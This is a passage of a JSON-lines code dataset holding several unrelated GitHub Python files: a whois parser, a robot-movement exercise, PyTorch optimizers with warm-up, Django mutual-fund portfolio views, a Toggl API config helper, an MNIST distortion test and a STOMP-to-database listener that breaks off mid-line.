== '':\n                continue\n            l = l.decode('utf-8')\n\n            if l[:12] == 'Domain Name:':\n                self.set('domainname', l[12:].lstrip())\n                continue\n\n            if l == 'Registrant:':\n                (section, value) = next_section('registrant', section, value)\n                continue\n\n            if l == 'Administrative Contact:':\n                (section, value) = next_section('admin_contact', section, value)\n                continue\n\n            if l == 'Technical Contact:':\n                (section, value) = next_section('technical_contact', section, value)\n                continue\n\n            if l == 'Name Servers:':\n                (section, value) = next_section('nameservers', section, value)\n                continue\n\n            if l[:11] == 'Created on:':\n                self.set('created', datetime.strptime(l[12:], '%Y-%m-%d').date())\n                continue\n            if l[:16] == 'Last Updated on:':\n                self.set('modified', datetime.strptime(l[17:], '%Y-%m-%d').date())\n                continue\n\n            if section == 'registrant':\n                if l[:8] == 'Address:':\n                    (section, value) = next_section('registrant_address', section, value)\n                    value = l[9:]\n                    continue\n                else:\n                    value = push_value(value, l)\n\n            if section == 'admin_contact':\n                if l[:8] == 'Address:':\n                    (section, value) = next_section('admin_address', section, value)\n                    value = l[9:]\n                    continue\n                else:\n                    value = push_value(value, l)\n\n            if section == 'technical_contact':\n                if l[:8] == 'Address:':\n                    (section, value) = next_section('technical_address', section, value)\n                    value = l[9:]\n                    continue\n                else:\n                    value = push_value(value, l)\n\n            if section in ( 'registrant_address', 'admin_address', 'technical_address', ):\n                value = push_value(value, l)\n\n            elif section == 'nameservers':\n                m = RE_NS_LIST.match(l)\n                if m:\n                    ns = m.groupdict()['ns'].strip()\n                    glue = [x.strip() for x in m.groupdict()['addresses'].split(',')]\n                    self.set('glue_%s' % ns, glue)\n                else:\n                    ns = l.strip()\n\n                value = push_value(value, ns)\n\n        if section is not None and value is not None:\n            self.set(section, value)\n\n", "repo_name": "hile/seine", "sub_path": "seine/whois/formats/saudinic.py", "file_name": "saudinic.py", "file_ext": "py", "file_size_in_byte": 4147, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "71", "api": [{"api_name": "re.compile", "line_number": 23, "usage_type": "call"}, {"api_name": "datetime.datetime.strptime", "line_number": 26, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 26, "usage_type": "name"}, {"api_name": "seine.whois.formats.WhoisDataParser", "line_number": 29, "usage_type": "name"}, {"api_name": "seine.whois.formats.WhoisDataParser.parse", "line_number": 52, "usage_type": "call"}, {"api_name": "seine.whois.formats.WhoisDataParser", "line_number": 52, "usage_type": "name"}, {"api_name": "datetime.datetime.strptime", "line_number": 82, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 82, "usage_type": "name"}, {"api_name": "datetime.datetime.strptime", "line_number": 85, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 85, "usage_type": "name"}]}
{"seq_id": "21816517912", "text": "from typing import Union\n\ndef init_vars():\n    \"\"\"\n    Initialisation des variables à 0\n\n    :return: Renvoi les variables initialisées\n    \"\"\"\n    x = 0\n    y = 0\n    pos_tete = 0\n    return x,y,pos_tete\n\n\ndef load_dim(filepath: str) -> Union[int, int]:\n    \"\"\"\n    Chargement des dimensions de l'espace depuis le fichier universe.txt\n\n    :param filepath: String contenant le chemin d'accès au fichier universe.txt\n    :return: Renvoi la valeur de width et de height\n    \"\"\"\n\n    # Ouverture du fichier du fichier universe.txt\n    file = open(filepath, \"r\")\n    # Lecture de la première ligne et récupération de la valeur de width\n    n = int(file.readline().split(\":\")[1].strip())\n    # Lecture de la seconde ligne et récupération de la valeur de height\n    p = int(file.readline().split(\":\")[1].strip())\n    return n, p\n\n\ndef read_instruction(line: str) -> Union[str, int]:\n    \"\"\"\n    Lecture ligne par ligne et parsing des instructions du fichier instruction_list.txt\n\n    :param line: String contenant une ligne (ici du fichier instruction_list.txt)\n    :return: La direction (right ou left) ainsi que le nombre de case de déplacement (1,2,...)\n    \"\"\"\n    # Séparation de chacune des lignes du fichier par une virgule\n    line = line.split(\",\")\n    # Récupération de la direction qui constitue le premiere élément de ma liste. exemple : (right,3)\n    direction = line[0].strip()\n    # Récupération du nombre de déplacement sur le même principe que la direction\n    case = int(line[1].strip())\n    return direction, case\n\n\ndef position_tete(pos: int, x: int, y: int,\n                  case: int, n: int, p: int, verbose: bool = False) -> Union[int, int]:\n    \"\"\"\n    Référentiel des différentes actions à effectuer en fonction de la position de la tête du robot ainsi\n    qu'en fonction de son déplacement dans l'espace dédié.\n\n    :param pos: Int, définissant la position de la tête du robot. [0:'Haut';1:'Droite';2:'Bas';3:'Gauche']\n    :param x: Int, position du robot sur l'axe des abcisse\n    :param y: Int, position du robot sur l'axe des ordonnées\n    :param case: Int, nombre de pas à effectuer par le robot\n    :param n: Int, Largeur maximal de notre espace\n    :param p: Int, Hauteur maximal de notre espace\n    :param verbose: Boolean, initialisé à False mais à True permet d'afficher le parcours du robot\n    :return: Renvoi la position du robot au couple (x,y) après une instruction effectuées\n    \"\"\"\n    # Si la variable pos est égale à 0 c'est que la tête du robot est tourné vers le HAUT\n    if pos == 0:\n        # On incrémente y avec le nombre de pas à réaliser, cependant si cela excède la hauteur maximal de l'espace\n        # on prend la valeur max - 1\n        y = min(y+case, p-1)\n\n    # Si la variable pos est égale à 1 c'est que la tête du robot est tourné vers la DROITE\n    elif pos == 1:\n        # On incrémente x avec le nombre de pas à réaliser, cependant si cela excède la largeur maximal de l'espace\n        # on prend la valeur max - 1\n        x = min(x+case, n-1)\n\n    # Si la variable pos est égale à 2 c'est que la tête du robot est tourné vers la BAS\n    elif pos == 2:\n        # On décrémente y avec le nombre de pas à réaliser, cependant si cela excède la largeur minimal de l'espace\n        # on prend le minimum donc 0\n        y = max(y-case, 0)\n\n    # Si la variable pos est égale à 3 c'est que la tête du robot est tourné vers la GAUCHE\n    elif pos == 3:\n        # On décrémente x avec le nombre de pas à réaliser, cependant si cela excède la hauteur minimal de l'espace\n        # on prend le minimum donc 0\n        x = max(x-case, 0)\n\n    # De plus, en fonction de l'enchainement des instructions nous pouvons tomber sur des valeurs de \"pos\" non prise\n    # en compte dans mon référentiel tel que [-1,-2,-3,-4,4,6 ...]\n    # Les hardcoder aurait été une erreur et aurait overfit les instructions actuelles\n    # La solution a été de calculer le reste de la division euclidienne de cette valeur non prise en charge dans mon\n    # référentiel par 4 (pour mes 4 positions de la tête du robot) cela nous permet de rester dans un ensemble défini.\n    # pos ∈ [0,3]\n    elif pos < 0 or pos > 3:\n        # La nouvelle valeur de pos après avoir calculé le modulo par 4\n        new_pos = pos % 4\n        # Appel récursive de la fonction position_tete avec la nouvelle valeur comprise dans l'ensemble [0,3]\n        x, y = position_tete(new_pos, x, y, case, n, p)\n\n    if verbose:\n        print(x, y)\n\n    return x, y\n\n\nif __name__ == \"__main__\":\n    # Chemin d'accès au fichier universe.txt\n    universe_path = \"Data/universe.txt\"\n    # Chemin d'accès au fichier instruction_list.txt\n    instruction_path = \"Data/instruction_list.txt\"\n\n    print(\"Chargement des dimensions ...\")\n    n, p = load_dim(universe_path)\n    # Initialisation du robot à la position x et y (0,0) et la position de la tête à 0 : Haut\n    x,y,pos_tete = init_vars()\n    # Ouverture du fichier instruction_list.\n    file = open(instruction_path, \"r\")\n\n    print(\"Lecture des instructions ...\")\n    # On parcours chaque ligne de fichier et on éxècute chacune des instructions\n    # afin d'avoir la position finale du robot\n    for line in file:\n        # Parsing des directions et nombre de pas à effectuer\n        direction,case = read_instruction(line)\n        # Si la direction est \"right\" on incrémentons de 1 la position de la tête\n        # x et y prennent la valeur renvoyé par la fontion position_tete qui permet d'éxécuter les instructions\n        if direction == \"right\":\n            pos_tete = pos_tete + 1\n            x,y = position_tete(pos_tete, x, y, case, n, p)\n        # Tandis que lorsque la position \"left\" on décrémente de 1 la position de la tête\n        # x et y prennent la valeur renvoyé par la fontion position_tete qui permet d'éxécuter les instructions\n        else:\n            pos_tete = pos_tete - 1\n            x,y = position_tete(pos_tete, x, y, case, n, p)\n\n    file.close()\n    print(f\"Le robot est arrivé à la position finale : {(x,y)}\")\n    \n\n\n\n\n", "repo_name": "FaridAhamadaGunners/Dojo", "sub_path": "robot/src/get_final_position.py", "file_name": "get_final_position.py", "file_ext": "py", "file_size_in_byte": 6100, "program_lang": "python", "lang": "fr", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "typing.Union", "line_number": 15, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 32, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 49, "usage_type": "name"}]}
{"seq_id": "18155215491", "text": "import torch\nfrom torch.optim.optimizer import Optimizer, required\nimport math\n\n\nclass SGD(Optimizer):\n\n    def __init__(self, params, lr=required, momentum=0, dampening=0,\n                 weight_decay=0, nesterov=False ,warm_up = 1000 ):\n        if lr is not required and lr < 0.0:\n            raise ValueError(\"Invalid learning rate: {}\".format(lr))\n        if momentum < 0.0:\n            raise ValueError(\"Invalid momentum value: {}\".format(momentum))\n        if weight_decay < 0.0:\n            raise ValueError(\"Invalid weight_decay value: {}\".format(weight_decay))\n\n        defaults = dict(lr=lr, momentum=momentum, dampening=dampening,\n                        weight_decay=weight_decay, nesterov=nesterov)\n        if nesterov and (momentum <= 0 or dampening != 0):\n            raise ValueError(\"Nesterov momentum requires a momentum and zero dampening\")\n        self.setp_num = 0\n        self.warm_up = warm_up\n        self.warm_up_end = False\n        super(SGD, self).__init__(params, defaults)\n\n    def __setstate__(self, state):\n        super(SGD, self).__setstate__(state)\n        for group in self.param_groups:\n            group.setdefault('nesterov', False)\n\n    def step(self, closure=None):\n        self.setp_num += 1\n        loss = None\n        if closure is not None:\n            loss = closure()\n\n        for group in self.param_groups:\n            if self.setp_num <= self.warm_up and not self.warm_up_end :\n                lr = group['lr']*pow(self.setp_num/self.warm_up,1)\n            else:\n                lr = group['lr']\n                self.warm_up_end = True\n\n            weight_decay = group['weight_decay']\n            momentum = group['momentum']\n            dampening = group['dampening']\n            nesterov = group['nesterov']\n\n            for p in group['params']:\n                if p.grad is None:\n                    continue\n                d_p = p.grad.data\n                if weight_decay != 0:\n                    d_p.add_(weight_decay, p.data)\n                if momentum != 0:\n                    param_state = self.state[p]\n                    if 'momentum_buffer' not in param_state:\n                        buf = param_state['momentum_buffer'] = torch.zeros_like(p.data)\n                        buf.mul_(momentum).add_(d_p)\n                    else:\n                        buf = param_state['momentum_buffer']\n                        buf.mul_(momentum).add_(1 - dampening, d_p)\n                    if nesterov:\n                        d_p = d_p.add(momentum, buf)\n                    else:\n                        d_p = buf\n\n                p.data.add_(-lr, d_p)\n        return loss\n\nclass Adam(Optimizer):\n\n    def __init__(self, params, lr=1e-3, betas=(0.9, 0.999), eps=1e-8,\n                 weight_decay=0, amsgrad=False , warm_up = 1000 ):\n        if not 0.0 <= lr:\n            raise ValueError(\"Invalid learning rate: {}\".format(lr))\n        if not 0.0 <= eps:\n            raise ValueError(\"Invalid epsilon value: {}\".format(eps))\n        if not 0.0 <= betas[0] < 1.0:\n            raise ValueError(\"Invalid beta parameter at index 0: {}\".format(betas[0]))\n        if not 0.0 <= betas[1] < 1.0:\n            raise ValueError(\"Invalid beta parameter at index 1: {}\".format(betas[1]))\n        defaults = dict(lr=lr, betas=betas, eps=eps,\n                        weight_decay=weight_decay, amsgrad=amsgrad)\n        self.setp_num = 0\n        self.warm_up = warm_up\n        self.warm_up_end = False\n        super(Adam, self).__init__(params, defaults)\n\n    def __setstate__(self, state):\n        super(Adam, self).__setstate__(state)\n        for group in self.param_groups:\n            group.setdefault('amsgrad', False)\n\n    def step(self, closure=None):\n        \"\"\"Performs a single optimization step.\n\n        Arguments:\n            closure (callable, optional): A closure that reevaluates the model\n                and returns the loss.\n        \"\"\"\n        self.setp_num += 1\n        loss = None\n        if closure is not None:\n            loss = closure()\n\n        for group in self.param_groups:\n\n            if self.setp_num <= self.warm_up and not self.warm_up_end :\n                lr = group['lr']*pow(self.setp_num/self.warm_up,1)\n            else:\n                lr = group['lr']\n                self.warm_up_end = True\n\n            for p in group['params']:\n\n                if p.grad is None:\n                    continue\n                grad = p.grad.data\n                if grad.is_sparse:\n                    raise RuntimeError('Adam does not support sparse gradients, please consider SparseAdam instead')\n                amsgrad = group['amsgrad']\n\n                state = self.state[p]\n\n                # State initialization\n                if len(state) == 0:\n                    state['step'] = 0\n                    # Exponential moving average of gradient values\n                    state['exp_avg'] = torch.zeros_like(p.data)\n                    # Exponential moving average of squared gradient values\n                    state['exp_avg_sq'] = torch.zeros_like(p.data)\n                    if amsgrad:\n                        # Maintains max of all exp. moving avg. of sq. grad. values\n                        state['max_exp_avg_sq'] = torch.zeros_like(p.data)\n\n                exp_avg, exp_avg_sq = state['exp_avg'], state['exp_avg_sq']\n                if amsgrad:\n                    max_exp_avg_sq = state['max_exp_avg_sq']\n                beta1, beta2 = group['betas']\n\n                state['step'] += 1\n\n                if group['weight_decay'] != 0:\n                    grad = grad.add(group['weight_decay'], p.data)\n\n                # Decay the first and second moment running average coefficient\n                exp_avg.mul_(beta1).add_(1 - beta1, grad)\n                exp_avg_sq.mul_(beta2).addcmul_(1 - beta2, grad, grad)\n                if amsgrad:\n                    # Maintains the maximum of all 2nd moment running avg. till now\n                    torch.max(max_exp_avg_sq, exp_avg_sq, out=max_exp_avg_sq)\n                    # Use the max. for normalizing running avg. of gradient\n                    denom = max_exp_avg_sq.sqrt().add_(group['eps'])\n                else:\n                    denom = exp_avg_sq.sqrt().add_(group['eps'])\n\n                bias_correction1 = 1 - beta1 ** state['step']\n                bias_correction2 = 1 - beta2 ** state['step']\n                step_size = lr * math.sqrt(bias_correction2) / bias_correction1\n\n                p.data.addcdiv_(-step_size, exp_avg, denom)\n\n        return loss", "repo_name": "CaoWGG/TensorMask", "sub_path": "lib/optimer.py", "file_name": "optimer.py", "file_ext": "py", "file_size_in_byte": 6514, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 51, "dataset": "github-code", "pt": "71", "api": [{"api_name": "torch.optim.optimizer.Optimizer", "line_number": 6, "usage_type": "name"}, {"api_name": "torch.optim.optimizer.required", "line_number": 8, "usage_type": "name"}, {"api_name": "torch.optim.optimizer.required", "line_number": 10, "usage_type": "name"}, {"api_name": "torch.zeros_like", "line_number": 58, "usage_type": "call"}, {"api_name": "torch.optim.optimizer.Optimizer", "line_number": 71, "usage_type": "name"}, {"api_name": "torch.zeros_like", "line_number": 130, "usage_type": "call"}, {"api_name": "torch.zeros_like", "line_number": 132, "usage_type": "call"}, {"api_name": "torch.zeros_like", "line_number": 135, "usage_type": "call"}, {"api_name": "torch.max", "line_number": 152, "usage_type": "call"}, {"api_name": "math.sqrt", "line_number": 160, "usage_type": "call"}]}
{"seq_id": "17109690412", "text": "from django.contrib.auth.decorators import login_required\nfrom django.contrib.auth.mixins import LoginRequiredMixin\nfrom django.db.models import Sum\nfrom django.http import JsonResponse, Http404\nfrom django.shortcuts import render, redirect, get_object_or_404\nfrom django.views.generic import ListView, DetailView\n\n\nfrom .forms import MutualFundForm, MutualFundSIPForm\nfrom .models import MutualFund, MutualFundSIP\n\n\n@login_required\ndef portfolio(request, template_name='portfolio/portfolio.html'):\n    return render(request, template_name)\n\n\n@login_required\ndef mf_chart_data(request):\n    mutual_funds = MutualFund.objects.all().filter(created_by=request.user).order_by('-amount')\n\n    mutual_funds_chart_data = list(map(lambda mutual_fund: {'name': mutual_fund.mutual_fund_global.mf_name, 'y': int(mutual_fund.amount)}, mutual_funds))\n    if not mutual_funds_chart_data:\n        raise Http404('No mutual funds found for this user')\n\n    chart = {\n        'chart': {'type': 'pie'},\n        'title': {'text': 'Mutual Fund Distribution'},\n        'tooltip': {\n            'pointFormat': '{point.y}({point.percentage:.1f}%)'\n        },\n        'plotOptions': {\n            'series': {\n                'dataLabels': {\n                    'enabled': True\n                },\n                'showInLegend': False\n            }\n        },\n        'series': [{\n            'name': 'Mutual Fund Distribution',\n            'data': mutual_funds_chart_data\n        }]\n    }\n    return JsonResponse(chart)\n\n\n@login_required\ndef sip_chart_data(request):\n    sips = MutualFundSIP.objects.all().filter(active=True, created_by=request.user)\\\n        .values('mutual_fund__mutual_fund_global__mf_name')\\\n        .annotate(total_sip=Sum('amount'))\\\n        .order_by('-total_sip')\n    sips_chart_data = list(map(lambda sip: {'name': sip['mutual_fund__mutual_fund_global__mf_name'], 'y': int(sip['total_sip'])}, sips))\n\n    if not sips_chart_data:\n        raise Http404('No active SIPs found for this user')\n\n    chart = {\n        'chart': {'type': 'column'},\n        'title': {'text': 'Active SIPs'},\n        'xAxis': {\n            'type': 'category'\n        },\n        'yAxis': {\n            'title': {\n                'text': 'Amount'\n            }\n        },\n        'tooltip': {\n            'pointFormat': '{point.y}'\n        },\n        'plotOptions': {\n            'series': {\n                'dataLabels': {\n                    'enabled': True\n                }\n            }\n        },\n        'series': [{\n            'name': 'Active SIPs',\n            'data': sips_chart_data\n        }]\n    }\n    return JsonResponse(chart)\n\n\nclass MFIndexView(LoginRequiredMixin, ListView):\n    login_url = '/login'\n    template_name = 'portfolio/index.html'\n    context_object_name = 'mf_list'\n\n    def get_queryset(self):\n        return MutualFund.objects.all().filter(created_by=self.request.user).order_by('-amount')\n\n    def get_context_data(self, **kwargs):\n        context = super().get_context_data(**kwargs)\n        context['total_sum'] = context[self.context_object_name].aggregate(Sum('amount'))['amount__sum']\n        return context\n\n\nclass SIPIndexView(LoginRequiredMixin, ListView):\n    login_url = '/login'\n    template_name = 'portfolio/sip_index.html'\n    context_object_name = 'sip_list'\n\n    def get_queryset(self):\n        return MutualFundSIP.objects.all().filter(active=True, created_by=self.request.user).order_by('mutual_fund__mutual_fund_global__mf_name', '-last_transaction_date')\n\n    def get_context_data(self, **kwargs):\n        context = super().get_context_data(**kwargs)\n        context['total_sum'] = context[self.context_object_name].aggregate(Sum('amount'))['amount__sum']\n        return context\n\n\nclass MutualFundDetailView(LoginRequiredMixin, DetailView):\n    login_url = '/login'\n    model = MutualFund\n    template_name = 'portfolio/detail.html'\n\n\nclass MutualFundSIPDetailView(LoginRequiredMixin, DetailView):\n    model = MutualFundSIP\n    template_name = 'portfolio/sip_detail.html'\n\n\n@login_required\ndef mf_create(request):\n    if request.method == 'POST':\n        form = MutualFundForm(request.POST)\n        if form.is_valid():\n            form.save(user=request.user)\n            return redirect('portfolioMFDetail', form.instance.pk)\n        else:\n            return render(request, 'portfolio/create.html', {'form': form})\n    form = MutualFundForm()\n\n    return render(request, 'portfolio/create.html', {'form': form})\n\n\n@login_required\ndef mf_edit(request, pk, template_name='portfolio/edit.html'):\n    mutual_fund = get_object_or_404(MutualFund, pk=pk)\n    form = MutualFundForm(request.POST or None, instance=mutual_fund, initial={\n        'fields_to_disable': ['mutual_fund_global']})\n    if form.is_valid():\n        form.save()\n        return redirect('portfolioMFDetail', pk)\n    return render(request, template_name, {'form': form})\n\n\n@login_required\ndef mf_delete(request, pk, template_name='portfolio/delete.html'):\n    mutual_fund = get_object_or_404(MutualFund, pk=pk)\n    if request.method == 'POST':\n        mutual_fund.delete()\n        return redirect('portfolioMFIndex')\n    return render(request, template_name, {'object': mutual_fund})\n\n\n@login_required\ndef sip_create(request):\n    if request.method == 'POST':\n        form = MutualFundSIPForm(request.POST, user=request.user)\n        if form.is_valid():\n            form.save(user=request.user)\n            return redirect('sipDetail', form.instance.pk)\n        else:\n            return render(request, 'portfolio/sip_create.html', {'form': form})\n    form = MutualFundSIPForm(user=request.user)\n    return render(request, 'portfolio/sip_create.html', {'form': form})\n\n\n@login_required\ndef sip_edit(request, pk, template_name='portfolio/edit.html'):\n    mutual_fund_sip = get_object_or_404(MutualFundSIP, pk=pk)\n    form = MutualFundSIPForm(request.POST or None, user=request.user, instance=mutual_fund_sip, initial={\n        'fields_to_disable': ['amount', 'mutual_fund', 'start_date', 'frequency']})\n    if form.is_valid():\n        form.save()\n        return redirect('sipDetail', pk)\n\n    return render(request, template_name, {'form': form})\n\n\n\n", "repo_name": "srinipal/mutual-funds-portfolio", "sub_path": "mfPortfolio/portfolio/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 6155, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "django.shortcuts.render", "line_number": 15, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 13, "usage_type": "name"}, {"api_name": "models.MutualFund.objects.all", "line_number": 20, "usage_type": "call"}, {"api_name": "models.MutualFund.objects", "line_number": 20, "usage_type": "attribute"}, {"api_name": "models.MutualFund", "line_number": 20, "usage_type": "name"}, {"api_name": "django.http.Http404", "line_number": 24, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 45, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 18, "usage_type": "name"}, {"api_name": "models.MutualFundSIP.objects.all", "line_number": 50, "usage_type": "call"}, {"api_name": "models.MutualFundSIP.objects", "line_number": 50, "usage_type": "attribute"}, {"api_name": "models.MutualFundSIP", "line_number": 50, "usage_type": "name"}, {"api_name": "django.db.models.Sum", "line_number": 52, "usage_type": "call"}, {"api_name": "django.http.Http404", "line_number": 57, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 85, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 48, "usage_type": "name"}, {"api_name": "django.contrib.auth.mixins.LoginRequiredMixin", "line_number": 88, "usage_type": "name"}, {"api_name": "django.views.generic.ListView", "line_number": 88, "usage_type": "name"}, {"api_name": "models.MutualFund.objects.all", "line_number": 94, "usage_type": "call"}, {"api_name": "models.MutualFund.objects", "line_number": 94, "usage_type": "attribute"}, {"api_name": "models.MutualFund", "line_number": 94, "usage_type": "name"}, {"api_name": "django.db.models.Sum", "line_number": 98, "usage_type": "call"}, {"api_name": "django.contrib.auth.mixins.LoginRequiredMixin", "line_number": 102, "usage_type": "name"}, {"api_name": "django.views.generic.ListView", "line_number": 102, "usage_type": "name"}, {"api_name": "models.MutualFundSIP.objects.all", "line_number": 108, "usage_type": "call"}, {"api_name": "models.MutualFundSIP.objects", "line_number": 108, "usage_type": "attribute"}, {"api_name": "models.MutualFundSIP", "line_number": 108, "usage_type": "name"}, {"api_name": "django.db.models.Sum", "line_number": 112, "usage_type": "call"}, {"api_name": "django.contrib.auth.mixins.LoginRequiredMixin", "line_number": 116, "usage_type": "name"}, {"api_name": "django.views.generic.DetailView", "line_number": 116, "usage_type": "name"}, {"api_name": "models.MutualFund", "line_number": 118, "usage_type": "name"}, {"api_name": "django.contrib.auth.mixins.LoginRequiredMixin", "line_number": 122, "usage_type": "name"}, {"api_name": "django.views.generic.DetailView", "line_number": 122, "usage_type": "name"}, {"api_name": "models.MutualFundSIP", "line_number": 123, "usage_type": "name"}, {"api_name": "forms.MutualFundForm", "line_number": 130, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 133, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 135, "usage_type": "call"}, {"api_name": "forms.MutualFundForm", "line_number": 136, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 138, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 127, "usage_type": "name"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 143, "usage_type": "call"}, {"api_name": "models.MutualFund", "line_number": 143, "usage_type": "argument"}, {"api_name": "forms.MutualFundForm", "line_number": 144, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 148, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 149, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 141, "usage_type": "name"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 154, "usage_type": "call"}, {"api_name": "models.MutualFund", "line_number": 154, "usage_type": "argument"}, {"api_name": "django.shortcuts.redirect", "line_number": 157, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 158, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 152, "usage_type": "name"}, {"api_name": "forms.MutualFundSIPForm", "line_number": 164, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 167, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 169, "usage_type": "call"}, {"api_name": "forms.MutualFundSIPForm", "line_number": 170, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 171, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 161, "usage_type": "name"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 176, "usage_type": "call"}, {"api_name": "models.MutualFundSIP", "line_number": 176, "usage_type": "argument"}, {"api_name": "forms.MutualFundSIPForm", "line_number": 177, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 181, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 183, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 174, "usage_type": "name"}]}
{"seq_id": "4693503226", "text": "import os\nfrom base64 import b64encode\ntime_entry = None\ntracking1 = False\nenddata = None\nworkspace_id = None\nenv_variable = None\napi_usage = None\n\ndef update_env_variable(value):\n    global env_variable, api_usage\n    env_variable = value\n\n    codename = os.getenv(env_variable)\n    encoded_api_key = bytes(str(codename) + ':api_token', encoding='ascii')\n    api_usage = b64encode(encoded_api_key).decode(\"ascii\")\n", "repo_name": "tschilpi/Toggl-Tracking-Keys", "sub_path": "Code/config.py", "file_name": "config.py", "file_ext": "py", "file_size_in_byte": 415, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "os.getenv", "line_number": 14, "usage_type": "call"}, {"api_name": "base64.b64encode", "line_number": 16, "usage_type": "call"}]}
{"seq_id": "29699466161", "text": "from mnist_helpers import *\n\nimport cv2\n\n# this is the image we want to distort\ntest_image = './images//four.png'\n\nif __name__ == '__main__':\n\n    # read the grayscale image\n    image = cv2.imread(test_image, 0)\n\n    # just call the function elastic_transform function \n    # with a suitable kernel size, alpha and sigma\n    # as a rule of thumb, if use sigma as a value near 6,\n    # alpha 36-40, kernel size 13-15\n    #\n    # NOTE: the input image SHOULD be of square dimension,\n    # ie no.of rows should be equal to number of cols.\n    \n    image = cv2.resize(image, (30,30))\n\n    # get the transformed image\n    distorted_image = elastic_transform(image, kernel_dim=15,\n                                        alpha=5.5,\n                                        sigma=35)\n\n    cv2.imwrite('./images/distortd.png', distorted_image)\n", "repo_name": "vsvinayak/mnist-helper", "sub_path": "test.py", "file_name": "test.py", "file_ext": "py", "file_size_in_byte": 835, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 26, "dataset": "github-code", "pt": "71", "api": [{"api_name": "cv2.imread", "line_number": 11, "usage_type": "call"}, {"api_name": "cv2.resize", "line_number": 21, "usage_type": "call"}, {"api_name": "cv2.imwrite", "line_number": 28, "usage_type": "call"}]}
{"seq_id": "41111777709", "text": "#!/usr/bin/python\n# -*- coding: UTF-8 -*-\n\nimport time\nimport os, signal,socket\nimport stomp\nimport multiprocessing\nimport db\nfrom sqlmaker import *\nimport yaml\nimport io\n\nconf_path = \"./conf.yaml\"\ndef get_conf_data():\n    _file_data = io.open(conf_path, 'r', encoding='utf-8')\n    conf_data = yaml.load(_file_data)\n    _file_data.close()\n    return conf_data\nconf_data = get_conf_data()\n\n\ndef writePid():\n    pid = str(os.getpid())\n    f = open('server.pid', 'w')\n    f.write(pid)\n    f.close()\n\n\n\ndef Handler(signum, frame):\n    debug_log.logger.debug('terminate process %d' % os.getpid())\n\n    try:\n        debug_log.logger.debug('the processes is %s' % ps)\n\n        for p in ps:\n            debug_log.logger.debug('process %d terminate' % p.pid)\n\n            p.terminate()\n\n    except Exception as e:\n        debug_log.logger.debug(e)\n\n\nclass SampleListener(object):\n    def __init__(self, conn):\n        self.conn = conn\n        self.db = db.DB(conf_data['DB'])\n        self.udpconnect = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n        self.SQLMaker = SQLMaker()\n\n    #   发送\n    def sendToUdp(self, span, msg, dirname, type=\"dberror\"):\n        data = {}\n        data[\"span\"] = span\n        data[\"msg\"] = msg.strip()\n        data[\"dir\"] = dirname\n        data[\"type\"] = type\n        self.udpconnect.connect((conf_data['udp']['host'], int(conf_data['udp']['port'])))\n        self.udpconnect.sendall(json.dumps(data))\n\n    def on_error(self, headers, message):\n        debug_log.logger.debug('$$$ received an error: %s from MQ' % message)\n\n        self.sendToUdp(0, '$$$ received an error: %s from MQ', '')\n\n    def on_message(self, headers, message):\n        debug_log.logger.debug('headers: %s ' % (headers))\n        debug_log.logger.debug('message: %s %s' % (message, time.time()))\n\n        # try:\n        #     maker = DB.connect(conf_data[\"DB\"])\n        #     debug_log.logger.debug(\"maker%s\"%maker)\n        # except Exception as err:\n        #     self.sendToUdp(0, message + str(err), '')\n        # else:\n        debug_log.logger.debug(\"~\"*10)\n        json_msg = self.SQLMaker.msg_transform(message)\n        result,sql = self.SQLMaker.data_structure_analysis(message=json_msg,DB=self.db,dbname=conf_data['DB']['db'])\n        debug_log.logger.debug(\"result: %s        sql:%s\"%(result,sql))\n        if result != True:\n            debug_log.logger.debug(\"#\" * 10)\n            self.conn.ack(id=headers['message-id'], subscription=headers['subscription'])  # 消费消息记录\n        else:  # 失败\n            sendstr = ''\n            sendstr += str(\"error:\") + '.' + sql + '
